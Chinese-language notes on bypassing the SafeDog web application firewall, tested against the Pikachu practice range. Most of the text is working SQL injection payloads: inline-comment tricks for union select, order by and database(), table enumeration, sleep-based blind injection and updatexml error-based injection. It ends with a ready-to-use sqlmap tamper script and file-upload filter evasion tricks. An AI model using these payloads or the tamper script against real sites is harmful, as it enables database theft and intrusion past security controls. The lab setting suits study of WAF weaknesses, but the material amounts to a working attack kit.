+

安全狗绕过

绕过安全狗笔记

一、知识点介绍

1.
内联注释绕过
MySQL 支持三种注释方法:--​、#​(单行注释)和 /* */​(多行注释)。
特殊的 /*! ... */​ 不是注释,会在 MySQL 中执行。
2.
异或绕过
利用 xor​ 或 ^​ 进行逻辑运算绕过。
例子:lucy' Xor '1'='1' #​。
3.
换行绕过
使用 URL 编码的换行符 %0a​ 和注释符 %23​ 进行绕过。
例子:%23%0a​。

二、测试环境

Apache 安全狗版本:4.0.28330
操作系统:Windows 10
测试平台:Pickachu 靶场

三、MySQL 注入绕过测试

1.
内联注释加参数干扰
and 1​ 被拦截,可以使用 /*!50001 ... */​ 绕过。
lucy' & '1'='1'#​ 和 lucy' Xor '1'='1'#​ 也可绕过。
2.
Order By 绕过
order by​ 被拦截,可以使用内联注释加数字进行绕过:lucy' order/*!77777cz*/by 1#​。
3.
Union Select 绕过
union select​ 被拦截,可以使用:-1' union /*!11440 select*/ 1,2#​。
4.
函数绕过
user()​ 和 database()​ 等函数名结合括号会被拦截,使用内联注释绕过:-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#​。
5.
查表名
通过 information_schema.tables​ 或 mysql.innodb_index_stats​ 查询表名,使用内联注释绕过:-1' union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#​。

四、时间盲注和报错绕过

1.
Sleep 函数
sleep()​ 不被拦截,但里面加数字会被拦截,使用内联注释绕过:lucy ' /*!11440or*/ /*!11440sleep(3)*/#​。
2.
UpdateXML 函数
updatexml()​ 不被拦截,但带参数会被拦截,使用内联注释绕过:-1'AND updatexml/*!77777cz*/(1,version(),0)#​。

五、编写 SQLMap Tamper 脚本

1.
Tamper 脚本示例
python
#!/usr/bin/env python """ Bypass safedog4.0 """ import re import os from lib.core.data import kb from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("Bypass safedog4.0") def tamper(payload, **kwargs): payload = payload.replace('AND','/*!11440AND*/') payload = payload.replace('ORDER','order/*!77777cz*/') payload = payload.replace("SELECT","/*!11440SELECT*/") payload = payload.replace("SLEEP(","sleep/*!77777cz*/(") payload = payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(") payload = payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/") payload = payload.replace("USER())","USER/*!77777cz*/())") payload = payload.replace("DATABASE()","DATABASE/*!77777cz*/()") return payload

六、绕过上传限制

1.
等号绕过
filename​ 后添加两个等号。
2.
换行绕过
在文件后缀名处换行。
3.
填充垃圾字符
Content-Disposition​ 字段后添加垃圾数据绕过。